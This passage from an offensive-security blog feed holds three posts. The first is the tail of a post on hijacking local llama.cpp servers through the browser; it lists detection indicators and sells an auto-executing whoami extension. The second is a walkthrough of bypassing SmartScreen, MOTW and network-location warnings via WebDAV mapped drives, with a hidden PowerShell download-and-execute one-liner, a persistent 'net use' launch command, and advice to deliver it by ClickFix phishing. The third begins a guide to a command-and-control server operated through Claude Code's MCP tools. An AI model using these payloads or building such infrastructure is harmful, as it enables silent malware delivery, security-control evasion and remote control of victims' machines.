<h2 id="how-to-detect-this">How to Detect This</h2>

<p>If you’re a defender or just curious, here are some indicators:</p>

<ul>
  <li><strong>Server logs</strong> showing unexpected <code class="language-plaintext highlighter-rouge">/v1/chat/completions</code> traffic from unusual origins or at unusual times</li>
  <li><strong>Unexpected <code class="language-plaintext highlighter-rouge">/tools</code> calls</strong> in the server log, especially tool invocations you did not initiate</li>
  <li><strong>Model responses tied to tool calls</strong> you don’t recognize (e.g., <code class="language-plaintext highlighter-rouge">whoami</code>, file reads, shell commands)</li>
  <li><strong>Browser console</strong> showing injected UI or unexpected DOM changes on the llama page</li>
  <li><strong>Process monitoring</strong> for child processes spawned by <code class="language-plaintext highlighter-rouge">llama-server</code> that you didn’t trigger</li>
  <li><strong>Unusual GPU usage</strong> when the user is idle or not actively using the model</li>
</ul>

<h2 id="takeaways">Takeaways</h2>

<ol>
  <li><strong>Local does not mean secure.</strong> Loopback just means the attack surface moves from the network into the browser.</li>
  <li><strong>CORS is a response-reading policy, not a firewall.</strong> Don’t confuse “the browser blocks the page from reading the response” with “the request never reaches the server.”</li>
  <li><strong><code class="language-plaintext highlighter-rouge">--tools all</code> changes the threat model entirely.</strong> What was a compute-theft risk becomes a command-execution risk.</li>
  <li><strong>Same-origin execution is the key concept.</strong> A bookmarklet or extension content script running on the trusted origin is not a “CORS bypass”—it’s simply operating within the trust boundary the server already accepts.</li>
  <li><strong>The fixes are simple and free:</strong> bind tightly, restrict origins, use API keys, disable tools unless needed, don’t run as root.</li>
</ol>

<p>Local LLMs are great. Fast, private, and powerful. But trust boundaries matter, and the browser is now part of that boundary. Put it on your tab, but make sure it’s the right tab, the right origin, and the right key. 🦙</p>

<hr />

<h2 id="bonus-content-for-members-all-membership-tiers"><strong><em>Bonus Content for Members! (All Membership Tiers)</em></strong></h2>

<p>📹 In-Depth Video/Audio Walkthrough for today’s blog post: <a href="https://ko-fi.com/s/e2226bdb1f">Video</a></p>

<p>🗒️ Packaged .zip file containing an auto-execute Browser Extension that executes whoami against llama.cpp upon loading: <a href="https://ko-fi.com/s/3f7d061f1b">Autoexecuting Browser Extension</a></p>

<p>And that’s a wrap folks!  Thanks and see you on the next blog post!</p>

<p>~G3tSyst3m</p>

<div style="text-align: right;">
  
<b>Sponsored By:</b><br />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/anyrun.png" />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/vector35.png" />

</div>

<p><em>All demos in this post were conducted in my own lab environment against my own hardware. No third-party systems were tested without explicit authorization.</em></p>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="CORS" /><category term="CORS" /><category term="Same Origin Policy" /><category term="llama.cpp" /><category term="AI exploit" /><category term="LLM" /><category term="Browser Hijacking" /><category term="Browser Extensions" /><category term="2026" /><category term="g3tsyst3m" /><summary type="html"><![CDATA[I’ve been running llama.cpp, a local LLM inference engine, on both Windows and Ubuntu for a while now. I enjoy the simplicity of Llama’s Web UI, and it just works for my needs. I also use OpenCode which is phenomenal and also very easy to use (great for setting up agents too!).]]></summary></entry><entry><title type="html">Using WebDav to Outsmart Smartscreen, MOTW, and that OTHER Alert</title><link href="https://g3tsyst3m.com/initial%20access/Using-WebDav-to-Outsmart-Smartscreen,-MOTW,-and-that-OTHER-Alert/" rel="alternate" type="text/html" title="Using WebDav to Outsmart Smartscreen, MOTW, and that OTHER Alert" /><published>2026-07-21T00:00:00+00:00</published><updated>2026-07-21T00:00:00+00:00</updated><id>https://g3tsyst3m.com/initial%20access/Using%20WebDav%20to%20Outsmart%20Smartscreen,%20MOTW,%20and%20that%20OTHER%20Alert</id><content type="html" xml:base="https://g3tsyst3m.com/initial%20access/Using-WebDav-to-Outsmart-Smartscreen,-MOTW,-and-that-OTHER-Alert/"><![CDATA[<p>The last time I wrote about <strong>SmartScreen</strong> and <strong>MOTW</strong>, the focus was a bit divided.  I tried my best to blend the use of DLL sideloading with signed binaries packed within a <strong>.VHDX</strong> mounted disk.  In the end, there were aspects to this approach that truly did ultimately bypass SmartScreen and MOTW, but I still wasn’t satisfied 😸  Now enter in <strong>WebDav</strong>.  <strong>WebDav</strong> has been around for a very, VERY long time.  It’s very convenient as it allows for UNC access via the standard <strong>SMB/CIFS</strong> convention: <strong>\\servername\sharename</strong> but it <strong>DOES NOT</strong> go over port 445!  This is quite handy for bypassing outbound firewall rules that prevent traditional UNC payloads from leaving the network due to outbound 445 restrictions. Now, you may be wondering, how does it bypass port 445 if it’s accessible via a UNC path?</p>

<p>Well, the magic here is the WebClient service itself.  When Windows encounters a UNC path and the standard SMB attempt over 445 fails (or is disabled), the WebClient service quietly steps in and re-routes that same \server\share request over HTTP/HTTPS on port 80 or 443 using the WebDAV protocol.  From the user’s perspective (and from the perspective of most tooling), it still looks and feels like an ordinary UNC path!  Explorer renders it, cmd.exe can cd into it, and executables can be launched directly from it (We will get to more of that later in the post 😼).  Under the hood though, it’s just HTTP traffic riding out on the same ports your browser uses every second of every day.  No SMB, no port 445, no problem 😼  I’ll even show you later on how wireshark never provides statistics for TCP port 445.  Only HTTP/HTTPS when we access our WebDav shared folder.</p>

<h2 id="the-plot-thickens">The Plot Thickens…</h2>

<p>Now, this is where things get really interesting from a <strong>SmartScreen</strong> and <strong>MOTW</strong> bypass perspective.  Because files executed directly from a WebDAV UNC path aren’t technically being “downloaded” through the browser or a mail client, the usual unrelenting MOTW “tattoo” will not get attached to our file(s)! It’s as if we’re just downloading from a trusted, neighboring device.  So, let me show you how this all plays out in our favor 😸</p>

<p>But first!  A small caveat…So here’s the thing.  As with most of my research, I inevitably hit a roadblock somwhere in my initial testing.  Oh, did I hit a massive roadblock.  Even with this advantage I briefly covered above about using UNC paths to elude SmartScreen and MoTW, a direct UNC-based launch still triggers a warning.  Not a “<strong>Hey you!  You downloaded this from the Internet</strong>!” warning. No, more like this kind:</p>

<p><img width="532" height="399" alt="image" src="https://github.com/user-attachments/assets/ae3c2868-20db-4ffd-ab8b-a310808d6158" /></p>

<h2 id="why-unc-paths-still-prompt-even-with-signed-binaries">Why UNC Paths Still Prompt (Even With Signed Binaries)</h2>

<p>When I tested launching even a signed Microsoft binary (<code class="language-plaintext highlighter-rouge">ApplicationFrameHost.exe</code>) directly from a WebDAV UNC path, I still got the “<strong>This file is in a location outside your local network</strong>” warning. This genuinely surprised me at first.  The file is signed by Microsoft, after all. But the prompt wasn’t actually about the signature. It was about the location.</p>

<blockquote>
  <p><strong>Here’s what’s happening under the hood</strong>:</p>
</blockquote>

<p>Windows has multiple security gates that files must pass through when they execute. The first gate is the zone-based execution check.  The shell’s Attachment Execution Service (AES) examines where a file is being launched from and asks “is this location inside or outside the local network?” If Windows determines the file is coming from a non-local location (indicated by the FQDN in the UNC path containing periods), it fires the generic “outside your local network” warning before it ever cares about signatures, reputation, or anything else.</p>

<blockquote>
  <p><strong>Think of it this way</strong>: The prompt is asking “where did this file come from?”.  It’s not asking “who made this file?” The signature validation happens at a later gate, downstream from this initial location check. So a signed binary, an unsigned binary, and Microsoft’s own binaries all hit the same zone-based warning when launched from a network location Windows classifies as untrusted.  The actual security zone determination is quite simple: if the URL contains no period in the server name (like http://sharepoint/davshare), the server is assumed to be on a local intranet site, but if the URL contains periods, the server is assumed to be on the Internet. Since my WebDAV server is <strong>something.somethingelse.com</strong>, Windows relegated it to the Internet zone, and the security gates fired accordingly.</p>
</blockquote>

<p>But wait, there’s more!  More what you ask?  Ways around this, of course! 😸  But first, let me show you some of the restrictive triggers I found.  When we access a WebDav share via UNC, we can access it a number of ways.</p>

<p>The two ways that flag the <strong>This file is in a location outside your local network</strong> aka that “<strong>OTHER</strong>” alert, are as follows:</p>

<p>If I use the <strong>windows-&gt; run command</strong>:</p>

<p><img width="457" height="271" alt="image" src="https://github.com/user-attachments/assets/a021112a-548b-4fd5-ba92-e972909623a8" /></p>

<p><img width="532" height="399" alt="image" src="https://github.com/user-attachments/assets/010387a1-4809-4fbb-a7ec-6068043e4f68" /></p>

<p>OR, If I use <strong>Windows Explorer</strong>:</p>

<p><img width="1349" height="314" alt="image" src="https://github.com/user-attachments/assets/5cb20d6e-5550-4caf-a60c-b2a3fa51540e" /></p>

<p><strong>Same thing…</strong></p>

<p><img width="532" height="399" alt="image" src="https://github.com/user-attachments/assets/010387a1-4809-4fbb-a7ec-6068043e4f68" /></p>

<p><strong>HOWEVER!!! I had a breakthrough</strong> 🥷</p>

<h2 id="the-complete-breakthrough-mapped-drives-and-execution-from-within-a-terminal-environment-bypasses-everything">The Complete Breakthrough: Mapped Drives and execution from within a Terminal Environment Bypasses Everything!</h2>

<p>If we execute our WebDav share from within a Powershell or CMD terminal….EUREKA!  No more ALERTS!!!!!  See for yourself.  Here’s me pointing to my webdav share within a Powershell terminal session:</p>

<p><img width="1489" height="825" alt="image" src="https://github.com/user-attachments/assets/24c0af78-9172-4216-80de-c4313fc907a2" /></p>

<p>The exe I’m executing from my WebDav share executes calc btw 😆</p>

<p>I feel I need to repeat this for anyone confused on the UNC paths I’m using.  I know it looks like standard SMB/UNC, but with WebDav I assure you it’s over 80/443.  In my case, I have a redirect from 80 to 443 and a signed cert using Cloudflare for my WebDav server on my VPS.
Pretty cool right?!  Just to prove it, check out some Wireshark screenshots I took to confirm only ports 80/443 were involved in our little experiment:</p>

<p><img width="791" height="255" alt="image" src="https://github.com/user-attachments/assets/fd7aacda-9fee-4675-ae50-30ffffad0556" /></p>

<p><img width="853" height="299" alt="image" src="https://github.com/user-attachments/assets/f2f24ea1-3ef5-4d1c-8c2d-93142ce723c0" /></p>

<p><strong>Now, 80 and 443 included:</strong></p>

<p><img width="1967" height="701" alt="image" src="https://github.com/user-attachments/assets/5095b090-d186-49b1-aa2b-c35cd319572e" /></p>

<p>You can see we’re crossing the wire via 80 and 443, confirmed!</p>

<blockquote>
  <p>Here’s a silly one liner that will open any executable within our WebDavShare to whet your appetite 😸</p>
</blockquote>

<ul>
  <li>First, create a PS1 file that contains the following:</li>
</ul>

<p><strong>\\YOURWEBDAV_SERVER\shared-files\yourexecutable.exe</strong></p>

<p>Next, upload that somewhere and download and execute in memory using powershell:</p>

<pre><code class="language-ps1">powershell -w h -c "iwr 'https://some_server_you_own/webdav_runner.ps1' -UseBasicParsing | iex"
</code></pre>

<p>That will execute within the Powershell terminal environment and bypass SmartScreen, MOTW, and that “OTHER” alert! 😺</p>

<h2 id="discovery-part-2">Discovery Part 2!</h2>

<blockquote>
  <p>Here’s where I discovered the ultimate technique:</p>
</blockquote>

<p>Instead of launching files directly from the UNC path, map the WebDAV share to a drive letter first, then launch from the mapped drive.</p>

<p><strong>cmd.exe /c net use Z: https://some_server_you_own/shared-files /persistent:yes 2&gt;nul &amp;&amp; start “” “Z:\YOUR_EXECUTABLE.exe”</strong></p>

<p>In my case, that would be:</p>

<p><strong>cmd.exe /c net use Z: https://transf0rm.g3tsyst3m.online/shared-files /persistent:yes 2&gt;nul &amp;&amp; start “” “Z:\winexec_nonulls.exe”</strong></p>

<p>(don’t worry, I delete my demo domains so I’m okay with you seeing them 😸)</p>

<p>When I tested this, the executable launched with zero prompts, zero warnings, zero MOTW tagging, zero SmartScreen reputation checks.  Nothing. Silent execution.  It was bliss.</p>

<p>The reason? When Windows evaluates file execution, it treats files accessed via a local drive letter fundamentally differently than files accessed via a UNC path.  Even when that drive letter is actually a network mount backed by an attacker-controlled WebDAV server.
Here’s the mental model: the shell’s attachment execution service has different code paths for these two scenarios:</p>

<ul>
  <li>UNC path (<code class="language-plaintext highlighter-rouge">\\server\share\file.exe</code>) → Windows recognizes this as a network location → zone-based security gates fire</li>
  <li>Drive letter (<code class="language-plaintext highlighter-rouge">Z:\file.exe</code>) → Windows sees this as a local drive → security gates that apply to network locations simply don’t trigger</li>
</ul>

<p>From the shell’s perspective, a file on <code class="language-plaintext highlighter-rouge">Z:</code> is just a file on the Z: drive. The fact that Z: is actually mounted over HTTPS to our attacker controlled WebDAV server is an abstraction detail that doesn’t bubble up to the execution security checks. The file appears to be local, so it gets treated as local.</p>

<p><strong>This effectively bypasses the entire chain of Internet “tattooed” security gates:</strong></p>

<ul>
  <li><strong>Zone-based MOTW attachment</strong> -&gt; skipped, because the file appears “local”</li>
  <li><strong>That “OTHER” Alert</strong> -&gt; skipped, because mapped drive file execution doesn’t trigger the same checks</li>
  <li><strong>SmartScreen reputation checking</strong> -&gt; skipped, because the file isn’t flagged as coming from the internet</li>
  <li><strong>Zone.Identifier ADS tagging</strong> -&gt; never applied in the first place</li>
</ul>

<p>Also for the record, there are no loopholes here!  I don’t have any secret trusted Zone bypasses in place, I assure you.  See for yourself 😸</p>

<p><img width="1108" height="935" alt="image" src="https://github.com/user-attachments/assets/410e1661-83d7-44f0-a2c2-83018eedf801" /></p>

<p>Taking it even further, I can point my PE Loader to my WebDav share and download and execute the PE in memory pulling from the WebDav share!</p>

<p><img width="1672" height="878" alt="image" src="https://github.com/user-attachments/assets/84cef480-3580-46ce-95b1-32e578478370" /></p>

<p><img width="1236" height="656" alt="image" src="https://github.com/user-attachments/assets/708d51c8-7394-416f-baa8-fbfb76ca02f9" /></p>

<h2 id="why-this-changes-everything">Why This Changes Everything</h2>

<p>This technique is genuinely different from the dotless-hostname or DNS-suffix tricks I was researching earlier. Those approaches require careful network manipulation or pre-existing foothold to change zone mappings. The mapped drive approach is simpler:</p>

<p>It works with any FQDN, requires only one command, and leverages a core Windows feature (the WebClient service and drive mapping) that exists on every modern Windows system.</p>

<p>It’s also immediately practical for external phishing or leveraging <code class="language-plaintext highlighter-rouge">ClickFix/FileFix</code>. A delivery payload can execute a single net use command.  This can be completely silent, can run without admin privileges, and can persist across reboots with /persistent:yes.  We can then launch the actual malicious executable from the now-mapped drive. The entire execution chain looks legitimate:</p>

<p>“copy this file to your machine, run this utility, and it mounts a network share from your trusted IT department, or whoever.” 😸</p>

<p>From an attacker’s perspective, this means:</p>

<ul>
  <li>No signed certificate needed (though one doesn’t hurt for defense evasion)</li>
  <li>No special hostname tricks required</li>
  <li>Works with standard HTTPS WebDAV</li>
  <li>Executable launches with zero security prompts</li>
  <li>Suitable for initial access phishing, lateral movement, or persistence</li>
</ul>

<p>From a defender’s perspective, this is precisely the kind of subtle technique that lives in the gap between legacy zone-based security (which assumes network files are inherently riskier) and modern app reputation systems (which can be bypassed if the file never gets tagged as “from the internet” in the first place).</p>

<h2 id="how-can-we-use-this-from-a-tactical-red-team-perspective">How can we use this from a Tactical, Red Team Perspective?</h2>

<p>Well, for starters you’ll certainly want to explore <strong>ClickFix</strong> and <strong>FileFix</strong> from a social engineering angle.  I’d say that’s a given.  Think about it: You just have to coerce the user to run one command and BAM!  File execution complete! (as long as your executable doesn’t get caught by EDR.  That’s on you and I’m not to blame! 😹)</p>

<p>You could also use this for <strong>persistence purposes</strong> or <strong>evasion</strong>.  The ability to just flat out execute a script or executable across a network share without a security prompt is HUGE!</p>

<p>Also before I forget, you’ll likely want to access your <strong>WebDav</strong> share from a domain versus IP address to make it look more official.  I used <strong>Cloudflare</strong> to setup my DNS entries:</p>

<p><img width="1523" height="369" alt="image" src="https://github.com/user-attachments/assets/b7a83944-73c3-4d1a-90bb-13c0431e8bd0" /></p>

<h2 id="-bonus-content-for-all-members-sapphire-emerald-diamond-tier-">🎁 <strong><em>Bonus Content for all Members! (Sapphire, Emerald, Diamond Tier)</em></strong> 🎁</h2>

<p><strong>Preview (demo):</strong></p>

<p><img width="1844" height="565" alt="image" src="https://github.com/user-attachments/assets/9aa02b8e-86c1-42c1-a6ce-12880947d1ec" /></p>

<p>📓Script for setting up WebDav using Caddy like I did on your server/VPS: <a href="https://ko-fi.com/s/e3ab64939f">Setup script for WebDav</a> 📓</p>

<p><strong>Video Preview Teaser (demo):</strong></p>

<iframe width="560" height="315" src="https://www.youtube.com/embed/1Xbql_zpmdg" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<p>📹 Full Video demonstration for all methods of using WebDav to bypass MOTW/Smartscreen/That “Other” Alert 😸: <a href="https://ko-fi.com/s/293751dc90">Video demonstration</a> 📹</p>

<div style="text-align: right;">
  
<b>Sponsored By:</b><br />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/anyrun.png" />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/vector35.png" />

</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="Initial Access" /><category term="Initial Access" /><category term="Pentest" /><category term="SmartScreen" /><category term="Pentesting Payload" /><category term="2026" /><category term="MOTW" /><category term="Bypasssing Mark of the Web" /><category term="g3tsyst3m" /><category term="Initial Foothold" /><summary type="html"><![CDATA[The last time I wrote about SmartScreen and MOTW, the focus was a bit divided. I tried my best to blend the use of DLL sideloading with signed binaries packed within a .VHDX mounted disk. In the end, there were aspects to this approach that truly did ultimately bypass SmartScreen and MOTW, but I still wasn’t satisfied 😸 Now enter in WebDav. WebDav has been around for a very, VERY long time. It’s very convenient as it allows for UNC access via the standard SMB/CIFS convention: \\servername\sharename but it DOES NOT go over port 445! This is quite handy for bypassing outbound firewall rules that prevent traditional UNC payloads from leaving the network due to outbound 445 restrictions. Now, you may be wondering, how does it bypass port 445 if it’s accessible via a UNC path?]]></summary></entry><entry><title type="html">How to Create a Makeshift C2 with Claude Code as the Operator</title><link href="https://g3tsyst3m.com/c2/How-to-Create-a-Makeshift-C2-with-Claude-Code-as-the-Operator/" rel="alternate" type="text/html" title="How to Create a Makeshift C2 with Claude Code as the Operator" /><published>2026-06-26T00:00:00+00:00</published><updated>2026-06-26T00:00:00+00:00</updated><id>https://g3tsyst3m.com/c2/How%20to%20Create%20a%20Makeshift%20C2%20with%20Claude%20Code%20as%20the%20Operator</id><content type="html" xml:base="https://g3tsyst3m.com/c2/How-to-Create-a-Makeshift-C2-with-Claude-Code-as-the-Operator/"><![CDATA[<p>I’ve been wanting to build my own basic C2 using AI as a controller ever since I first started dabbling in Claude Code and its MCP integration. When I dug a bit deeper into what all the MCP protocol could accomplish, I knew I had to explore it further from more of an offensive security angle. In short, MCP is a standardized way to give an AI assistant structured tools it can call, similar to functions. I figured if I can expose my C2’s operator actions as MCP tools, then Claude isn’t just sitting in a chat window answering questions. It becomes the actual operator interface. I run a command, get output, ask a follow-up question, pivot based on the answer. All of it handled within one continuous session without switching contexts or copy-pasting between windows. Sounds pretty cool right?</p>

<p>The idea sat in the back of my head for a while before I actually built it. I kept thinking it would be more complicated than it was. It wasn’t. A week of building out the Python code, a generously priced VPS ($5/mo!!!), a free Cloudflare account using a domain I already owned. That’s pretty much the whole bill of materials.</p>

<p>What came out of this project is yet another lightweight Python-based C2 from yours truly, but this time AI powered. Here’s what’s happening under the hood:</p>

<ul>
  <li>Agents run on standard Python stdlib. Zero external dependencies. We download a zipped portable Python, unzip it, and we’re set!</li>
  <li>The VPS broker is a small Flask server backed by SQLite</li>
  <li>The whole thing is exposed over stable Cloudflare named tunnels secured with Cloudflare WAF rules</li>
  <li>Operator control happens through <strong>MCP tools directly inside Claude Code</strong></li>
  <li><strong>Bonus for subscribers</strong>: A PyQt6 GUI C2 console for point-and-click operation that also integrates with Claude outside of the terminal!</li>
</ul>

<blockquote>
  <p>The end result: agents that beacon in from Windows and Linux targets, shell commands and file reads through natural language in Claude Code, and infrastructure that hides behind Cloudflare tunnels with stable hostnames. Let’s get going then shall we 😸</p>
</blockquote>

<hr />

<h2 id="why-mcp-as-the-operator-interface">Why MCP as the Operator Interface?</h2>

<p>This is the part that makes this setup different. Claude Code can connect to any MCP server and call its tools natively. When I expose my C2’s operator functions as MCP tools, I can type <code class="language-plaintext highlighter-rouge">list_agents()</code> or <code class="language-plaintext highlighter-rouge">run_shell("target-hostname", "whoami")</code> directly in a Claude Code conversation and get back output with full AI context. I can ask Claude to analyze results, chain commands, write scripts, and pivot.  All without leaving the editor.</p>

<p>This isn’t “AI running my C2 autonomously.” It’s a tight integration where Claude has access to operator tools and I’m driving the session. Think of it like having the C2 client built into your IDE. 😸</p>

<p>It’s as easy as typing <strong>list_agents()</strong> and I immediately get a quick overview on what my agent landscape looks like:</p>

<p><img width="1571" height="917" alt="image" src="https://github.com/user-attachments/assets/d3d8a281-7f8a-4d2f-afba-579baa7bb33c" /></p>

<p>I can even broadcast a message to all agents at once:</p>

<p><img width="671" height="379" alt="image" src="https://github.com/user-attachments/assets/2339f668-37f5-4e4d-b5a4-b0e5281df82a" /></p>

<p>That’s just a very simplistic overview, but honestly, the sky’s the limit.  All with the ease of using natural language to deliver tasks to each respective agent. 😺</p>

<hr />

<h2 id="architecture-overview">Architecture Overview</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Agent on target]  --&gt;  HTTPS beacon  --&gt;  [Cloudflare Tunnel]
                                                    |
                                         [Flask listener on VPS]
                                                    |
                                           [SQLite task queue]
                                                    |
                                         [FastMCP server on VPS]
                                                    |
                                    [Cloudflare Tunnel (MCP endpoint)]
                                                    |
                                        [Claude Code on your machine]
</code></pre></div></div>

<p>Three moving parts:</p>

<ul>
  <li><strong>listener.py</strong>: Flask app on the VPS. Handles agent enrollment, beaconing, and task dispatch. Also manages the MCP subprocess lifecycle.</li>
  <li><strong>svc.py</strong>: The agent. Runs on target machines. Phones home every second, executes queued tasks, returns results.</li>
  <li><strong>remote_agent_server.py</strong>: FastMCP server. Exposes operator tools to Claude Code over HTTP.</li>
</ul>

<p>Everything communicates over HTTPS through named Cloudflare tunnels, so the VPS IP is never exposed and hostnames never change even if the VPS reboots.</p>

<hr />

<h2 id="the-vps-ionos-cloud">The VPS: IONOS Cloud</h2>

<p>I went with <a href="https://www.ionos.com">IONOS</a> for the VPS and it’s been solid. Their entry-level Linux VPS runs around $5/mo ($2/mo for first 3 months), which is hard to argue with for a dedicated C2 box. Setup is straightforward: pick a Linux distro (I went with Debian 12 Bookworm), IONOS hands you an IP and root SSH credentials, SSH in. That’s it.</p>

<p>A few things I liked about IONOS for this use case (not sponsored, I promise 😅):</p>

<ul>
  <li><strong>Static IP</strong>: VPS IP doesn’t change between reboots. Useful for SSH and ad-hoc access.</li>
  <li><strong>No outbound port restrictions</strong>: Some cheap VPS providers block outbound HTTPS or throttle UDP. IONOS doesn’t, and the Cloudflare tunnel runs on HTTPS outbound.</li>
  <li><strong>Easy firewall management</strong>: Simple inbound/outbound port rule configuration.</li>
  <li><strong>No hidden costs</strong>: Seriously, I’m not kidding.  I pay literally $5.03 /mo with no extras for bandwidth usage, disk IO, nothing additional.  It’s a flat rate every month.  It’s a barebones setup that isn’t a powerhouse by any stretch of the imagination, but it gets the job done.</li>
</ul>

<hr />

<h2 id="prerequisites-for-the-full-setup">Prerequisites for the Full Setup</h2>

<ul>
  <li>A VPS running Linux (Debian/Ubuntu recommended)</li>
  <li>A domain you control with Cloudflare as the DNS provider (free tier works)</li>
  <li>Python 3.10+ on the VPS</li>
  <li><code class="language-plaintext highlighter-rouge">cloudflared</code> installed on the VPS</li>
  <li>Claude Code installed locally on main controller/attacker PC (desktop app or <code class="language-plaintext highlighter-rouge">npm install -g @anthropic-ai/claude-code</code>)</li>
</ul>

<p><strong>VPS initial setup:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>apt update <span class="o">&amp;&amp;</span> apt upgrade <span class="nt">-y</span>
apt <span class="nb">install</span> <span class="nt">-y</span> python3 python3-pip git curl

pip3 <span class="nb">install </span>flask mcp uvicorn

curl <span class="nt">-L</span> https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 <span class="se">\</span>
  <span class="nt">-o</span> /usr/local/bin/cloudflared
<span class="nb">chmod</span> +x /usr/local/bin/cloudflared

<span class="nb">mkdir</span> <span class="nt">-p</span> /root/remoteagents <span class="o">&amp;&amp;</span> <span class="nb">cd</span> /root/remoteagents
</code></pre></div></div>

<hr />

<h2 id="cloudflare-named-tunnels">Cloudflare Named Tunnels</h2>

<p>Named tunnels give us stable hostnames that survive VPS reboots and IP changes. Without them you get a random <code class="language-plaintext highlighter-rouge">trycloudflare.com</code> URL that changes on every restart, meaning you’d have to re-register with Claude Code and update agent configs constantly. Named tunnels fix that permanently.</p>

<p>We create three subdomains off a single tunnel: one for agent beaconing, one for the MCP server, and one for agent enrollment and file serving.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cloudflared tunnel login
cloudflared tunnel create remote-agent
</code></pre></div></div>

<p>Create <code class="language-plaintext highlighter-rouge">~/.cloudflared/config.yml</code>:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">tunnel</span><span class="pi">:</span> <span class="s">remote-agent</span>
<span class="na">credentials-file</span><span class="pi">:</span> <span class="s">/root/.cloudflared/&lt;your-tunnel-id&gt;.json</span>

<span class="na">ingress</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">hostname</span><span class="pi">:</span> <span class="s">agent-vps.yourdomain.com</span>
    <span class="na">service</span><span class="pi">:</span> <span class="s">http://localhost:8080</span>
  <span class="pi">-</span> <span class="na">hostname</span><span class="pi">:</span> <span class="s">mcp-vps.yourdomain.com</span>
    <span class="na">service</span><span class="pi">:</span> <span class="s">http://localhost:8765</span>
  <span class="pi">-</span> <span class="na">hostname</span><span class="pi">:</span> <span class="s">init-vps.yourdomain.com</span>
    <span class="na">service</span><span class="pi">:</span> <span class="s">http://localhost:8080</span>
  <span class="pi">-</span> <span class="na">service</span><span class="pi">:</span> <span class="s">http_status:404</span>
</code></pre></div></div>

<p>Route the DNS records:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cloudflared tunnel route dns remote-agent agent-vps.yourdomain.com
cloudflared tunnel route dns remote-agent mcp-vps.yourdomain.com
cloudflared tunnel route dns remote-agent init-vps.yourdomain.com
</code></pre></div></div>

<p>The listener and init endpoints both point to port 8080 but are routed by hostname. This split lets us apply different Cloudflare WAF rules to each.  Agents can always reach <code class="language-plaintext highlighter-rouge">/c2/beacon</code> on agent-vps, but the MCP endpoint (mcp-vps) gets locked down to your operator IP only.</p>

<p>One <code class="language-plaintext highlighter-rouge">cloudflared</code> process handles all three subdomains from one outbound connection. The VPS has zero open inbound ports. No firewall rules to manage, no SSL certificates to renew.  Cloudflare handles TLS termination at their edge.</p>

<p>Rather than running cloudflared as a separate service, <code class="language-plaintext highlighter-rouge">listener.py</code> spawns it in a background thread on startup, so when systemd starts the listener, the tunnel comes up with it automatically.</p>

<hr />

<h2 id="shared-config-agent_configpy">Shared Config (agent_config.py)</h2>

<p><strong><code class="language-plaintext highlighter-rouge">agent_config.py</code></strong> lives on the VPS at <code class="language-plaintext highlighter-rouge">/root/remoteagents/agent_config.py</code> and is the single source of truth for constants shared between <code class="language-plaintext highlighter-rouge">listener.py</code> and <code class="language-plaintext highlighter-rouge">remote_agent_server.py</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">AGENT_ID</span> <span class="o">=</span> <span class="sh">"</span><span class="s">vps</span><span class="sh">"</span>

<span class="n">DOMAIN</span>        <span class="o">=</span> <span class="sh">"</span><span class="s">yourdomain.com</span><span class="sh">"</span>
<span class="n">SECRET</span>        <span class="o">=</span> <span class="sh">"</span><span class="s">change_this_to_a_long_random_string</span><span class="sh">"</span>
<span class="n">ENROLL_KEY</span>    <span class="o">=</span> <span class="sh">"</span><span class="s">change_this_to_another_random_string</span><span class="sh">"</span>
<span class="n">MCP_PORT</span>      <span class="o">=</span> <span class="mi">8765</span>
<span class="n">LISTENER_PORT</span> <span class="o">=</span> <span class="mi">8080</span>

<span class="n">TUNNEL_NAME</span>   <span class="o">=</span> <span class="sh">"</span><span class="s">remote-agent</span><span class="sh">"</span>
<span class="n">LISTENER_URL</span>  <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">https://agent-</span><span class="si">{</span><span class="n">AGENT_ID</span><span class="si">}</span><span class="s">.</span><span class="si">{</span><span class="n">DOMAIN</span><span class="si">}</span><span class="sh">"</span>
<span class="n">MCP_URL</span>       <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">https://mcp-</span><span class="si">{</span><span class="n">AGENT_ID</span><span class="si">}</span><span class="s">.</span><span class="si">{</span><span class="n">DOMAIN</span><span class="si">}</span><span class="sh">"</span>
<span class="n">INIT_URL</span>      <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">https://init-</span><span class="si">{</span><span class="n">AGENT_ID</span><span class="si">}</span><span class="s">.</span><span class="si">{</span><span class="n">DOMAIN</span><span class="si">}</span><span class="sh">"</span>
</code></pre></div></div>

<p>Generate both secrets with: <code class="language-plaintext highlighter-rouge">python3 -c "import secrets; print(secrets.token_urlsafe(32))"</code></p>

